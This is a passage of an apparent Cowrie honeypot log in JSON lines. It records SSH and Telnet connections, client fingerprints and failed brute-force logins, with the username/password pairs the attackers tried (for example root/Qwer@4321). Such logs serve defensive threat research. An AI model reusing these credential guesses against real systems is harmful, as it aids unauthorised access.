sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:47.500633Z","src_ip":"165.22.63.98","session":"29f4573b84e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcde@123","message":"login attempt [root/abcde@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:48.438707Z","src_ip":"165.22.63.98","session":"29f4573b84e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:54:49.679848Z","src_ip":"165.22.63.98","session":"29f4573b84e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56236,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f5f31043263","protocol":"telnet","message":"New connection: 134.209.8.29:56236 (159.203.135.109:23) [session: 3f5f31043263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:05.478700Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38790,"dst_ip":"159.203.135.109","dst_port":23,"session":"570e4c905f67","protocol":"telnet","message":"New connection: 134.209.8.29:38790 (159.203.135.109:23) [session: 570e4c905f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:11.341608Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":37750,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae6279cfc0d1","protocol":"ssh","message":"New connection: 187.141.71.166:37750 (159.203.135.109:22) [session: ae6279cfc0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:14.587820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:14.592965Z","src_ip":"187.141.71.166","session":"ae6279cfc0d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:14.713512Z","src_ip":"187.141.71.166","session":"ae6279cfc0d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappepass","message":"login attempt [frappe/frappepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:15.223036Z","src_ip":"187.141.71.166","session":"ae6279cfc0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.193356275558472,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:15.671925Z","src_ip":"134.209.8.29","session":"3f5f31043263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:16.345203Z","src_ip":"187.141.71.166","session":"ae6279cfc0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172519683838,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:19.821027Z","src_ip":"134.209.8.29","session":"764af4cd4410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59028,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa535c0334f9","protocol":"telnet","message":"New connection: 134.209.8.29:59028 (159.203.135.109:23) [session: aa535c0334f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:27.169075Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50472,"dst_ip":"159.203.135.109","dst_port":23,"session":"7644687bb9f3","protocol":"telnet","message":"New connection: 134.209.8.29:50472 (159.203.135.109:23) [session: 7644687bb9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:34.812354Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":57576,"dst_ip":"159.203.135.109","dst_port":22,"session":"23562d0afc0d","protocol":"ssh","message":"New connection: 165.22.63.98:57576 (159.203.135.109:22) [session: 23562d0afc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:45.678911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:45.683792Z","src_ip":"165.22.63.98","session":"23562d0afc0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:45.923207Z","src_ip":"165.22.63.98","session":"23562d0afc0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qy@123456","message":"login attempt [root/qy@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:46.909271Z","src_ip":"165.22.63.98","session":"23562d0afc0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:48.151875Z","src_ip":"165.22.63.98","session":"23562d0afc0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58374,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd77941a25f","protocol":"telnet","message":"New connection: 134.209.8.29:58374 (159.203.135.109:23) [session: cdd77941a25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:55:59.131263Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":34530,"dst_ip":"159.203.135.109","dst_port":22,"session":"467c69144c5f","protocol":"ssh","message":"New connection: 187.141.71.166:34530 (159.203.135.109:22) [session: 467c69144c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:07.750954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:07.760477Z","src_ip":"187.141.71.166","session":"467c69144c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:07.883321Z","src_ip":"187.141.71.166","session":"467c69144c5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2014","message":"login attempt [postgres/postgres2014] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:08.399517Z","src_ip":"187.141.71.166","session":"467c69144c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:09.523867Z","src_ip":"187.141.71.166","session":"467c69144c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.45695614814758,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:10.625886Z","src_ip":"134.209.8.29","session":"aa535c0334f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":65372,"dst_ip":"159.203.135.109","dst_port":22,"session":"20356aefb243","protocol":"ssh","message":"New connection: 94.156.152.18:65372 (159.203.135.109:22) [session: 20356aefb243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:11.377774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:11.382646Z","src_ip":"94.156.152.18","session":"20356aefb243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:11.509664Z","src_ip":"94.156.152.18","session":"20356aefb243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN8VCPU32GBAMD","message":"login attempt [root/QUEEN8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:11.893264Z","src_ip":"94.156.152.18","session":"20356aefb243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:13.029130Z","src_ip":"94.156.152.18","session":"20356aefb243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36342,"dst_ip":"159.203.135.109","dst_port":23,"session":"c195dba55a81","protocol":"telnet","message":"New connection: 134.209.8.29:36342 (159.203.135.109:23) [session: c195dba55a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:14.937002Z"}
{"eventid":"cowrie.session.closed","duration":41.25121808052063,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:16.063134Z","src_ip":"134.209.8.29","session":"7644687bb9f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.931898593902588,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:19.868785Z","src_ip":"134.209.8.29","session":"c195dba55a81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":38878,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ef6204a5f4","protocol":"ssh","message":"New connection: 148.216.28.11:38878 (10.17.0.5:22) [session: e4ef6204a5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:31.742568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:31.747376Z","src_ip":"148.216.28.11","session":"e4ef6204a5f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:31.812842Z","src_ip":"148.216.28.11","session":"e4ef6204a5f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcguitaruser","password":"mcguitaruser","message":"login attempt [mcguitaruser/mcguitaruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:32.105580Z","src_ip":"148.216.28.11","session":"e4ef6204a5f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:33.173617Z","src_ip":"148.216.28.11","session":"e4ef6204a5f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":47260,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9df1a32374e","protocol":"ssh","message":"New connection: 165.22.63.98:47260 (159.203.135.109:22) [session: d9df1a32374e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:47.664641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:47.669597Z","src_ip":"165.22.63.98","session":"d9df1a32374e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:47.913990Z","src_ip":"165.22.63.98","session":"d9df1a32374e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer@4321","message":"login attempt [root/Qwer@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:48.895453Z","src_ip":"165.22.63.98","session":"d9df1a32374e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:56:50.136305Z","src_ip":"165.22.63.98","session":"d9df1a32374e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":41642,"dst_ip":"159.203.135.109","dst_port":22,"session":"b001e231a500","protocol":"ssh","message":"New connection: 187.141.71.166:41642 (159.203.135.109:22) [session: b001e231a500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:09.811596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:57:09.816883Z","src_ip":"187.141.71.166","session":"b001e231a500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 